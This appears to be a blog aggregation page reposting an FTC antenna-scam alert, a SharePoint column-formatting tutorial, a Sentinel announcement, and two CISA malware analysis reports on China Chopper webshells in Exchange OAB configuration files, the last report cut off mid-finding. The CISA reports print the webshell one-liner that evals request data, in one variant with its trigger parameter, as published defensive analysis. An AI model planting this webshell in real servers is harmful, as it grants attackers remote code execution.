Indoor TV antenna? Make sure you know what you’re getting

by Scott Muniz | Mar 15, 2021 | Security

This article was originally posted by the FTC. See the original article here.

Any TV set made since 2007 has a digital tuner that lets you watch over-the-air (OTA) channels for free, if you get an inexpensive indoor antenna. These channels usually include local broadcast channels, including high-definition or “HDTV” signals. But an OTA antenna won’t get you free “premium” channels, which you can only get from cable, satellite, or online content services. Don’t believe an OTA antenna ad that says it can.

Today the FTC announced that it sued a company for allegedly lying about the performance of its indoor antennas and signal amplifiers. The company sold products under the TV Scout, SkyWire, SkyLink, and Tilt TV brand names. Its antenna ads claimed that people could stop paying for cable or satellite TV and still get all of their favorite TV channels, including premium channels. That was simply not true, the FTC says. The company’s ads for amplifiers—in English and Spanish—claimed that people could use those with its antennas to get even more stations, including premium or subscription channels, like HBO and AMC, for free. The FTC says that these ads were also false. The FTC also said that some of the ads were made to look like “news reports,” and some of the consumer endorsements were made up.

Before you cut the cord and buy an OTA antenna and related products, remember:

Read the FCC’s tips about TV antennas and getting good reception.
Only trust news reports about a product when they come from a credible news source, and on its own website or news feed.
When you look at an online endorsement or review, think about where it’s posted and what you know about who wrote it. Some endorsements and reviews are fake or misleading. It can be hard to tell them apart from the real ones, so it’s better to check several sources. And expert reviews from trusted websites are a good way to go.

Brought to you by Dr. Ware, Microsoft Office 365 Silver Partner, Charleston SC.

Getting started with SharePoint’s custom column formatting

by Contributed | Mar 14, 2021 | Technology

This article is contributed. See the original author and article here.

Getting started with SharePoint’s custom column formatting

Have you ever wished that you could turn your boring old SharePoint list, full of useful data as it may be, into something with a little more pizzazz? And not just the simple (but highly effective) conditional formatting that SharePoint can give you for free, but something truly outside of the box.

Continue reading to learn how to turn this….

…into something like this…

What do you need to get started?

Thankfully, custom formatting isn’t terribly complicated, although it does take some getting used to. The only thing you’ll absolutely need is a modern SharePoint list with some columns, a basic understanding of JSON (this post has you covered), and some patience.

You’ll also need to know that you can’t customize most, but not all, column types in SharePoint online. As of this writing, you cannot customize the following field types: Managed Metadata, Filename (in Document Libraries), Retention Label, Sealed columns, Multi-line text column with enhanced rich text.

If you have it, some experience with HTML and CSS will come in handy, as would a little familiarity with Excel style functions, but none of it is required to just get started.

If you haven’t already, you may also want to at least scan through the official documentation for column formatting to get yourself acquainted with the schema used.

Schema Basics

The key to creating your custom column formatting will be in understanding the basics of the JSON schema used to define your presentation. Basically, what you’re attempting to do is describe some basic HTML elements and CSS styles using JSON.

Every definition will follow the same basic pattern: An object representing an HTML element, with optional attributes, CSS styling, and child elements.

{
    "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
    "elmType": "div",
    "attributes": {
        "iconName": "Game"
    },
    "style": {
        "font-size": "48px",
        "color": "red"
    }
}

In the above sample, we’re defining our object as an HTML div element. A div is just a container for other HTML elements, such as text, images, links or even other divs. There are other valid values for “elmType” as well, such as ‘span’; ‘button’; and ‘img’; just to name a few.

In the case here, we’re also declaring that our div has an attribute named “iconName” with a value of “Game”. We’re also defining the CSS styling we want to use, setting the font size and color to ‘big and red’.

This definition would turn any column in our list into the below.

Our definition only has one element being defined. If all we wanted to do was display the icon, then we’re all set. But what if we also want to show the text content that was originally being displayed as well?

{
  "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
  "elmType": "div",
  "style": {
    "width": "48px",
    "display": "block",
    "text-align": "center"
  },
  "children": [
    {
      "elmType": "div",
      "attributes": {
        "iconName": "Game"
      },
      "style": {
        "font-size": "48px",
        "color": "red"
      }
    },
    {
      "elmType": "div",
      "txtContent": "@currentField"
    }
  ]
}

With this, we’ve changed our root element to act as a container for two children. The first child is the same as the original example. The second child is another div that simply displays the string value of the column, resulting in the following:

Working with text

In the last example, we used the txtContent property and the @currentField built-in variable. For basic SharePoint field types, such as text, you can simply do like what was done in that example. However, some field types – such as people or date fields – may require a little extra work.

“There and back again” to the original example with Frodo, you may have noticed the ‘Age’ column (yes, Frodo was 50 years old when he leaves on his adventure). Here is the definition used for the transformation shown at the beginning.

{
    "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
    "elmType": "span",
    "txtContent": "@currentField.displayValue",
    "style": {
        "font-family": "Luminari, Papyrus, Brush Script MT",
        "font-size": "28px",
        "text-align": "center"
    }
}

Raw value vs Display value

Notice how it’s using that displayValue property of @currentField? We could have simply done like in the original example and simply referenced the @currentField and have gotten away with it except that it would only display the raw numeric value, such as 1234 (sans comma).

By adding the additional property, we’re telling SharePoint to “give us the text as you would have displayed it”. For Frodo, there’s no noticeable change, but once we get to some of the longer lived folk in Middle Earth we’ll see the difference.

Here’s a before-and-after of what we get if we omit the property and when we include it…

It’s a subtle but impactful difference.

Font styling

You’ll also see that we’re not using the standard font to display our age. We can use the CSS ‘font-family’ property to use a non-standard font. In this sample, we’ve suggested three different styles of font to use. The browser will attempt to use them in the order specified, falling back to the next on the list if it doesn’t know about the first. Not all fonts or font-families may be supported and it’s a bit of trial-and-error to find the right one. In general, stick “Web Safe Fonts” and you’ll be alright.

Working with People fields

Like with number fields, people fields also have a set of extra properties we can use to display different things related to our people. Below is a complete example of a user object.

{
   "id": "122",
   "title": "Kalya Tucker",
   "email": "kaylat@contoso.com",
   "sip": "kaylat@contoso.com",
   "picture": "https://contoso.sharepoint.com/kaylat_contoso_com_MThumb.jpg?t=63576928822",
   "department":"Human Resources",
   "jobTitle":"HR Manager"
}

From this, we can see that that user’s display name – Kayla Tucker – is stored in the title property and the URL for their profile picture is stored in the “picture” property.

We can use that knowledge (and some CSS) to turn the standard people picker into something with a little more flair.

Here’s the JSON definition.

{
  "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
  "elmType": "div",
  "style": {
    "display": "flex",
    "flex-direction": "column"
  },
  "children": [
    {
      "elmType": "img",
      "attributes": {
        "src": "@currentField.picture",
        "class": "ms-borderColor-themePrimary"
      },
      "style": {
        "border-width": "5px",
        "border-style": "solid",
        "border-radius": "15px"
      }
    },
    {
      "elmType": "div",
      "txtContent": "@currentField.title",
      "style": {
        "margin": "auto",
        "font-family": "Luminari, Papyrus, Brush Script MT",
        "font-size": "1.25em"
      }
    }
  ]
}

Our schema defines a parent div with two child elements: an img element and another div for our text.

Our image element has an attributes property, which is an object that has two properties defined: src & img.

The src property, which is required for all img elements, tells SharePoint where to find the image, which we’re specifying as the location for the picture property of the user field.

The other property, class, is available for all elements and allows us to specify a particular CSS class to the element. In this case, we’re telling it to use one of the built-in CSS classes available in SharePoint. Using these, we can support using theme colors without worrying about what happens when someone changes the current theme.

Working with expressions

There will be plenty of cases where we need to use some programmatic logic to accomplish your goals. Let’s look at our “Race” column example.

Among members of the Fellowship of the Ring are representatives of five of the different races that populate Middle Earth: Ainur, Elf, Dwarf, Human and Hobbit.

We have a choice column to represent the valid options for our members but, rather than simply display the name of the race, let’s see how we make the following transformation.

Here’s the definition:

{
    "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
    "elmType": "img",
    "style": {
        "width": "48px"
    },
    "attributes": {
        "src": "=@currentWeb + '/SiteAssets/RaceIcons/' + @currentField + '.svg'",
        "alt": "@currentField"
    }
}

We’ve taken some images, which were found – and purchased – a website (there’s a link included in the resources section at the end of this post), and uploaded them into a folder named “RaceIcons” inside of the standard Site Assets library on my SharePoint site. They’re also named exactly the same as the available choices in the Race field on our list.

By structuring my pictures in this way, I can use an Excel-style expression to display the right image for the selected race with little effort.

Working with multi-valued fields

Many fields in SharePoint allow the selection of multiple values, such as lookups, people and choice columns. In these cases, we need to use a special attribute named forEach.

Let’s look at our Weapons multi-choice field transformation to see how this works. Perhaps my favorite character to see battling it out on screen was Gandalf. Watching him swinging a sword and staff around was really exciting, so we’ll use him as our example.

Here’s our definition.

{
    "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
    "elmType": "div",
    "children": [{
        "forEach": "weapon in @currentField",
        "elmType": "img",
        "attributes": {
            "src": "=@currentWeb + '/SiteAssets/WeaponIcons/' + [$weapon] + '.svg'",
            "alt": "[$weapon]"
        },
        "style": {
            "display": "flex",
            "height": "32px",
            "margin": "auto"
        }
    }]
}

Like the previous example, we’ve loaded up some images in well-known location, and we’ve made sure that we’ve named our image files the same as the corresponding choices available in the choice field.

What’s special here is the use of the forEach attribute. The value “weapon in @currentField” tells SharePoint “Hey, for each selected option, create a copy of this element”; in this case, our image element.

You’ll also notice that in our src attribute, instead of using the @currentField built-in, we’re using the [$weapon] variable. Whatever text you put in front of “in @currentField” will be your variable name, so if we had said “thing in @currentField”, our variable would be [$thing].

Dealing with conditions

Plenty of times, you’ll want to render things differently based on certain conditions. SharePoint offers a lot built-in support for conditional formatting if all you need to do is change the text or background color. A common example would be to set the background or font color of a “Due Date” field to red if the date has passed.

If you need something more, though, we can use the if function in an expression in our custom formatting.

In our example, the Role field is a simple text field used to describe what role the member had within the group, but rather than display that text we want to display a different Fabric icon depending on the role.

And here’s the definition.

{
    "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
    "elmType": "div",
    "style": {
        "width": "48px",
        "height": "48px",
        "font-size": "32px",
        "background-color": "green",
        "color": "white"
    },
    "children": [{
        "elmType": "div",
        "style": {
            "margin": "auto"
        },
        "attributes": {
            "iconName": "=if(@currentField == 'Ring-bearer', 'StatusCircleRing', if(@currentField == 'Guardian', 'Shield', if(@currentField == 'Melee', 'DecisionSolid', 'Bullseye')))"
        }
    }]
}

For the iconName property value, we’re using an if expression to walk through the possible conditions until we find the right one.

The if expression is straightforward: if( <condition to evaluate>, <value if true>, <value if false>). Where it gets a little difficult is when you have multiple conditions, like we do in our example.

In our example, all but the last condition have another if statement for the “value if false” part. To read our statement in English would go something like this:

“If ‘role’ is equal to ‘Ring-bearer’, then use the ‘StatusCircleRing’ icon. Otherwise, if ‘role’ is equal to ‘Guardian’, then use the the ‘Shield’ icon. Otherwise, if ‘role’ is equal to ‘Melee’, then use the ‘DecisionSolid’ icon. Otherwise, just use the ‘Bullseye’ icon”.

A final example

For our final example, we’ll look at the last column in our list: From.

The From column is a lookup column that references list items in a Middle Earth Locales list.

And the definition…

{
    "$schema": "https://developer.microsoft.com/json-schemas/sp/v2/column-formatting.schema.json",
    "elmType": "div",
    "style": {
        "display": "flex",
        "flex-direction": "column",
        "text-align": "center",
        "font-family": "Luminari, Papyrus, Brush Script MT",
        "font-size": "18px"
    },
    "children": [{
            "elmType": "img",
            "attributes": {
                "src": "=@currentWeb + '/SiteAssets/MiddleEarthLocales/' + @currentField.lookupValue + '.jpg'"
            },
            "style": {
                "height": "48px",
                "width": "48px",
                "border-width": "3px",
                "border-style": "solid",
                "border-color": "=if(@currentField.lookupValue == 'The Shire', 'brown', if(@currentField.lookupValue == 'Rivendell', 'purple', if(@currentField.lookupValue == 'Osgiliath', 'grey', if(@currentField.lookupValue == 'Mirkwood Forest', 'green', if(@currentField.lookupValue == 'Blue Mountains', 'blue', 'gold')))))",
                "border-radius": "100px"
            }
        },
        {
            "elmType": "div",
            "txtContent": "@currentField.lookupValue"
        }
    ]
}

There’s not much new in this example, aside from the use of a lookup field and its lookupValue property to display the value (there’s also a lookupId property available, if you need it) but it does illustrate how we can take all of the previous tactics to create something unique.

One DOES simply create awesome list visuals

We’ve been through all of our columns and we’ve covered all of the basic building blocks for creating amazing visuals and really spicing up the life of our list data, creating a great little breakdown of information related to members of the Fellowship with interesting visuals and colors.

Now that you’ve seen it all come together, time to get out there and start your own journey!

Additional Resources

While this post was pretty long, it still couldn’t quite cover everything out there. Below are some additional resources you may find useful.

Examples Repository (github.com) – My repository containing all of the JSON definitions shown in this blog, as well as a PnP provisioning template you can use to provision everything.

Use column formatting to customize SharePoint | Microsoft Docs – The official documentation for custom column formatting.

Flicon – Fluent UI Icon Search – A super handy tool for finding the right Fabric UI icon.

SharePoint List Formatting Samples (pnp.github.io) – A PnP community driven repository of custom column & view formatting samples. A great place to go to get inspired, or look for other samples if Hobbits aren’t your thing.

Iconfinder.com – This is the site I used to purchase the icons shown for weapons and races.

Azure Sentinel and Microsoft 365 Defender incident integration

by Contributed | Mar 14, 2021 | Technology

This article is contributed. See the original author and article here.

Harness the breadth and depth of integrated SIEM and XDR with new Microsoft 365 integration

Now in public preview, Microsoft 365 Defender incidents are fully integrated with Azure Sentinel, providing a seamless experience for responding to security threats. Incidents from Microsoft 365 Defender, including all associated alerts, entities, and relevant information, can be streamed to Azure Sentinel, providing you with enough context to perform triage in Azure Sentinel and get the out of the box incident correlation from Microsoft 365 Defender. Once in Sentinel, Incidents will remain bi-directionally synced with Microsoft 365 Defender, allowing you to take advantage of the benefits of both portals in your incident investigation and response process. 

Read the full blog here

Updates on Microsoft Exchange Server Vulnerabilities

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

MAR-10329494-1.v1: China Chopper Webshell

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

Four files were submitted to CISA for analysis. All of the files are modified Offline Address Book (OAB) Virtual Directories (VD) configuration files for Microsoft Exchange Servers. Three of the files have been modified with a variant of the “China Chopper” webshell. The last file is modified with an authentication key. The modifications allow an attacker to remotely access the server and execute arbitrary code on the system(s).

For a downloadable copy of IOCs, see: MAR-10329494-1.v1.stix.

Submitted Files (4)

0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8 (McYhCzdb.aspx)

138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659 (0q1iS7mn.aspx)

36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac (8aUco9ZK.aspx)

508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8 (ogu7zFil.aspx)

Findings

138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659

Tags

backdoorwebshell

Details

Name	0q1iS7mn.aspx
Size	2267 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	96615abf60b920de78e7c269fb93d31d
SHA1	d33cd3731ab7201aff67d8b9c13d962efbb2f361
SHA256	138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659
SHA512	1bc07f9daa318ba60f48b3259b2008e7f7cc9ffa85ae121efb9d6a373769889c0676e10fa4681220eae260467a5945bfb4b0e13a7ff41110e2de0a8b6957aaf3
ssdeep	48:kNrdejol1By90KM5QZXhHwlu/44ONF0qIe9:ktdejqpAwljNCqIo
Entropy	4.730814

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal	CVE-2021-26855.Webshll.41350
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8

Tags

backdoorwebshell

Details

Name	McYhCzdb.aspx
Size	2264 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	f751c8fd2a9a4dbf3b5f9ec7fd787cab
SHA1	ce72ac7d88bf6c1ab33be213c1698a8c84be0d61
SHA256	0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8
SHA512	e2a9bd4de213894c8306fb84c254d7d1c332c756c93c77123a9d5586547bf27896ec0152ba98594b3bac71f23090f3addf26b14ddedddfa1755f9adcf73f6d9d
ssdeep	48:kNrdejol1By90KM5QZXhHwlx/44ONF0qT/i9:ktdejqpAwlaNCqT8
Entropy	4.735542

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal	CVE-2021-26855.Webshll.41350
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac

Tags

backdoorwebshell

Details

Name	8aUco9ZK.aspx
Size	2267 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	b4f08c50f1a33facc31ca7e558861223
SHA1	afd0b74ffa8243be4bb198ed04f8ae699ee2611b
SHA256	36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac
SHA512	a7ab2e0ed33e8760d8b2ccb4ac06b865977cc4fe49ab55db0691c4a2712bcae371febd0bab172cf56f4e4b6734cea7f101a238cfdbebba218e70b8da9fabef39
ssdeep	48:kNrdejol1By90KM5QZXhHwlTM/44ONF0qwFEvz9:ktdejqpAwlTRNCqwFUh
Entropy	4.732708

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal	CVE-2021-26855.Webshll.41350
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8

Tags

backdoor

Details

Name	ogu7zFil.aspx
Size	2284 bytes
Type	ASCII text, with CRLF line terminators
MD5	cc26cdd5d9dc85fcfa2646d7105fd158
SHA1	11ba31e8052a9f685a15a9c95d4009582edff3ae
SHA256	508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8
SHA512	52cec6b6b95348c158bea4df6fde405283d7766099a4f7839a19021dea057553d41a6e07195f3789893650a821893f297a4ed2718e222b243eeb4555351a962e
ssdeep	48:k/U0rddol1Bq67PQZXhHwldz/44ONF0quKiYiK9:kFddqdQwldMNCquKL5
Entropy	4.572126

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit a OAB VD in IIS on Microsoft Exchange servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The configuration has been modified with a key in the ‘ExternalUrl’ field. The key is most likely used for authentication to the server.

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

MAR-10329301-1.v1: China Chopper Webshell

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received three unique files for analysis. These files appear to contain configuration data for Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. The three output files show malicious modifications for the ExternalUrl parameters. In two of the OAB VDs, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10329301-1.v1.stix.

Submitted Files (3)

5ac7dec465b3a532d401afe83f40d336ffc599643501a40d95aa886c436bfc0f (web.config.aspx)

5e09ea8b70a386f0812a8cafb94e2d2365849ce67fda42377389f18e56d860d0 (supp0rt.aspx)

c7e1b386b472a26a36632f4ccc25e37458546b9c864b7ef0ec5ebece5e8cc704 (uHSPTWMG.aspx)

Findings

5ac7dec465b3a532d401afe83f40d336ffc599643501a40d95aa886c436bfc0f

Tags

backdoor

Details

Name	web.config.aspx
Size	2241 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	742b340f8739e73d9347d68e7ffc1590
SHA1	fc5e612238d4217b10ba2c6701f487d1346f8338
SHA256	5ac7dec465b3a532d401afe83f40d336ffc599643501a40d95aa886c436bfc0f
SHA512	9893f5c6e204b8188bf2e6670d590abdd0f7bba403d4b641f87ee59d037ee0c692d591f3eba10bd6c1142003a246964036465b1f813eaa1d5fc8aaf75628994c
ssdeep	24:kNrde9gvxL+rJTh91QGBORNXd56j0SzMa1VMr6j71idfhnohdxpTYFs2E4ONF0qe:kNrdeEC1BfGw0xM5QZohdf6q4ONF0qe
Entropy	4.700805

Antivirus

Microsoft Security Essentials	Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal	CVE-2021-26855.Webshll.41350

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin webshell–
http[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“22cddb421b13c90130b2b2bddedeb360″])),”unsafe”);}</script>
–End webshell–

The code within the file decodes and executes data using the JavaScript “eval” function. The requested encoded data was not available for analysis.

Displayed are the contents of the configuration:

–Begin configuration–
Server                         : [REDACTED]
WhenChanged                     : 3/5/2021 7:55:08 AM
InternalUrl                     : hxxps[:]//REDACTED].local/OAB
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“22cddb421b13c90130b2b2bddedeb360″])),”unsafe”);}</script>
Identity                        : [REDACTEDOAB (Default Web Site)
PollInterval                    : 480
Name                            : OAB (Default Web Site)
AdminDisplayVersion             : Version 15.2 (Build 659.4)
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
InternalAuthenticationMethods : WindowsIntegrated
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED],CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Guid                            : 2604a1e4-17af-4f27-9a43-0c9f877ab1fa
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenCreated                     : 3/4/2021 11:29:50 AM
WhenChangedUTC                 : 3/5/2021 12:55:08 PM
WhenCreatedUTC                 : 3/4/2021 4:29:50 PM
OrganizationId                 :
Id                             : [REDACTED]OAB (Default Web Site)
OriginatingServer             : [REDACTED]-dc1.[REDACTED].local
IsValid                         : True
–End configuration–

c7e1b386b472a26a36632f4ccc25e37458546b9c864b7ef0ec5ebece5e8cc704

Tags

backdoor

Details

Name	uHSPTWMG.aspx
Size	2226 bytes
Type	ASCII text, with CRLF line terminators
MD5	f04aa369ceee2d1388f9453d0d9758df
SHA1	888d1a0e10222a80c8076728d16eb10072b1473b
SHA256	c7e1b386b472a26a36632f4ccc25e37458546b9c864b7ef0ec5ebece5e8cc704
SHA512	4dd200a585fe93f2f8f102fd0359c4290d4b516ce5ec6a8b304ded61bf3a332d5c81272cada303109a366c42fa38956387e33b7309fcbf3ef6dbf7a27cf0a10e
ssdeep	24:kNrdjgvxL+rJTh91QGBORNmfB68U6Q68UB1idfhnohdxyAFs2E4ONF0qf9H2:kNrdaC1BfGt67PQZohdsWq4ONF0qk
Entropy	4.526671

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised system. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell, which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

